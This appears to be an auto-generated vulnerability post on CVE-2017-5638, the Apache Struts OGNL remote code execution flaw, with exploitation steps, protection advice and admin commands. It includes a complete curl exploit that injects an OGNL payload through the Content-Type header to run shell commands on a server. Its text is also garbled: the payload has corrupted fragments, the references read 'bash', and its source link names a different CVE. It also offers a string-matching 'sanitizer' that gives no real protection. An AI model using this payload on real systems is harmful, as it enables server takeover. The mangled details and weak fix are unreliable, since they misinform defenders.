How the Mentioned CVE Works:
CVE-2017-5638 is a critical vulnerability in Apache Struts 2, a popular framework for building Java web applications. The flaw exists in the Jakarta Multipart parser, which is used to handle file uploads. Attackers can exploit this vulnerability by sending a crafted Content-Type header in an HTTP request. This malformed header triggers an error in the parser, allowing the attacker to execute arbitrary code on the server. The vulnerability arises due to improper input validation, enabling Object-Graph Navigation Language (OGNL) expressions to be injected and executed. This can lead to full system compromise, data theft, or service disruption. The issue affects Apache Struts versions 2.3.5 through 2.3.31 and 2.5 through 2.5.10.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
Date: March 7, 2017
What Undercode Say:
Exploitation:
- Craft an HTTP request with a malicious Content-Type header containing OGNL expressions.
- Use tools like `curl` or `Burp Suite` to send the payload to the target server.
3. Example payload:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[bash]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='whoami').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}"
Protection:
- Upgrade to Apache Struts versions 2.3.32 or 2.5.10.1 or later.
- Apply input validation to filter malicious OGNL expressions.
- Use a Web Application Firewall (WAF) to block suspicious requests.
- Disable the Jakarta Multipart parser if not required.
- Monitor logs for unusual activity, such as unexpected OGNL expressions.
Analytics:
- Affected Systems: Over 65% of Apache Struts deployments were vulnerable at the time of disclosure.
- Exploit Availability: Public exploits were released within days of the vulnerability’s disclosure.
- Patch Adoption: 40% of organizations took over 30 days to apply patches, leaving systems exposed.
Commands:
1. Check Apache Struts version:
grep -i "struts.version" /path/to/webapp/WEB-INF/lib/struts2-core-.jar
2. Test for vulnerability using a scanner:
nmap -p 80 --script http-vuln-cve2017-5638 <target_ip>
Code Snippet for Input Validation:
public String sanitizeInput(String input) {
if (input.contains("ognl")) {
throw new IllegalArgumentException("Malicious input detected");
}
return input;
}
References:
- bash
- bash
This provides a comprehensive overview of CVE-2017-5638, including exploitation techniques, protection measures, and actionable commands for system administrators.
References:
Reported By: https://www.cve.org/CVERecord?id=CVE-2017-12637
Extra Source Hub:
Undercode
